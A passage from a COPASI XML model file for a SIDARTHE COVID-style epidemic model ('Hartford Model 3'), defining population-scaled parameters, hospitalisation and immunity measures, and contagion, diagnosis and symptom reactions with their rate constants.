3,Vector=Values[r2],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r4],Reference=Value>)+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=Value>/(<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r1],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r3],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r4],Reference=Value>)
</Expression>
</ModelValue>
<ModelValue key="ModelValue_81" name="gamma_pop" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_81">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-26T17:59:52Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma],Reference=Value>/<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=InitialValue>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_80" name="Population" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_80">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-26T18:00:37Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Unit>
#
</Unit>
</ModelValue>
<ModelValue key="ModelValue_79" name="alpha_pop" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_79">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-26T18:07:32Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=Value>/<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=InitialValue>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_78" name="beta_pop" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_78">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-26T18:07:48Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta],Reference=Value>/<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=InitialValue>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_77" name="delta_pop" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_77">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-26T18:08:08Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta],Reference=Value>/<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=InitialValue>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_76" name="scale" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_76">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-26T22:54:38Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_75" name="f_epsilon" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_75">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-27T19:10:51Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_74" name="f_theta" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_74">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-27T19:12:01Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_73" name="f_mu" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_73">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-27T19:24:32Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_nu],Reference=Value>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_72" name="f_nu" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_72">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-27T19:24:46Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_71" name="day8x" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_71">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-31T01:43:46Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_70" name="day15x" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_70">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-31T01:44:07Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_69" name="f_lambda" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_69">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-01T02:08:38Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_68" name="f_kappa" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_68">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-01T02:08:48Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
0.5*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_lambda],Reference=InitialValue>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_67" name="f_sigma" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_67">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-01T02:09:00Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_kappa],Reference=Value>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_66" name="f_xi" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_66">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-01T02:09:07Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_kappa],Reference=Value>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_65" name="f_rho" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_65">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-01T02:09:15Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_lambda],Reference=Value>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_64" name="Tpeak" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_64">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-02T01:20:58Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_63" name="Tpeaktime" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_63">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-02T01:23:07Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_62" name="New cases" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_62">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-02T13:50:18Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A],Reference=Flux>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D],Reference=Flux>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I],Reference=Flux>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R],Reference=Flux>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_61" name="New diagnosed" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_61">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-02T13:52:23Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A],Reference=Flux>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I],Reference=Flux>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_60" name="Tnonew" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_60">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-02T13:53:38Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_59" name="Tot_reduction" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_59">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-04T13:47:50Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x],Reference=InitialValue>*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x],Reference=InitialValue>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_58" name="ImmuneRatio" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_58">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-13T19:01:23Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=Concentration>/(<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=Concentration>)
</Expression>
</ModelValue>
<ModelValue key="ModelValue_57" name="ApplyRelaxationMay1" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_57">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-14T18:52:46Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_56" name="mu_UCH" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_56">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-28T19:32:25Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_55" name="Total_Hospitalized" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_55">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-28T19:32:25Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[UCH],Reference=Concentration>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_54" name="ZeroDay" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_54">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-28T19:32:25Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
</ListOfModelValues>
<ListOfReactions>
<Reaction key="Reaction_35" name="contagion_I" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_35">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:39:32Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_15" stoichiometry="1"/>
<Substrate metabolite="Metabolite_16" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_16" stoichiometry="2"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_7273" name="k1" value="2.82397e-06"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_79"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_15"/>
<SourceParameter reference="Metabolite_16"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_34" name="contagion_D" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_34">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:40:20Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_15" stoichiometry="1"/>
<Substrate metabolite="Metabolite_14" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_16" stoichiometry="1"/>
<Product metabolite="Metabolite_14" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_7277" name="k1" value="5.64794e-07"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_78"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_15"/>
<SourceParameter reference="Metabolite_14"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_33" name="contagion_A" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_33">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:40:54Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_15" stoichiometry="1"/>
<Substrate metabolite="Metabolite_13" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_16" stoichiometry="1"/>
<Product metabolite="Metabolite_13" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_7280" name="k1" value="2.82397e-07"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_81"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_15"/>
<SourceParameter reference="Metabolite_13"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_32" name="contagion_R" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_32">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:41:27Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_15" stoichiometry="1"/>
<Substrate metabolite="Metabolite_12" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_16" stoichiometry="1"/>
<Product metabolite="Metabolite_12" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_7274" name="k1" value="1.41198e-07"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_77"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_15"/>
<SourceParameter reference="Metabolite_12"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_31" name="diagnosis_I" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_31">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:43:45Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_16" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_14" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_7278" name="k1" value="0"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_106"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_16"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_30" name="symptoms_I" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_30">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:44:25Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_16" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_13" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_7275" name="k1" value="0.211111"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_105"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_16"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_29" name="symptoms_D" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_29">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:44:41Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_14" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_12" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_7279" name="k1" value="0.211111"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_104"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_14"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_28" name="diagnosis_A" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_28">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:45:01Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_13" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_12" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_4429" name="k1" value="0.0302512"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_103"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_13"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_27" name="critical_A" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_27">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:45:28Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_13" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_11" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_7330" name="k1" value="0.201217"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_100"/>
</CallParameter>
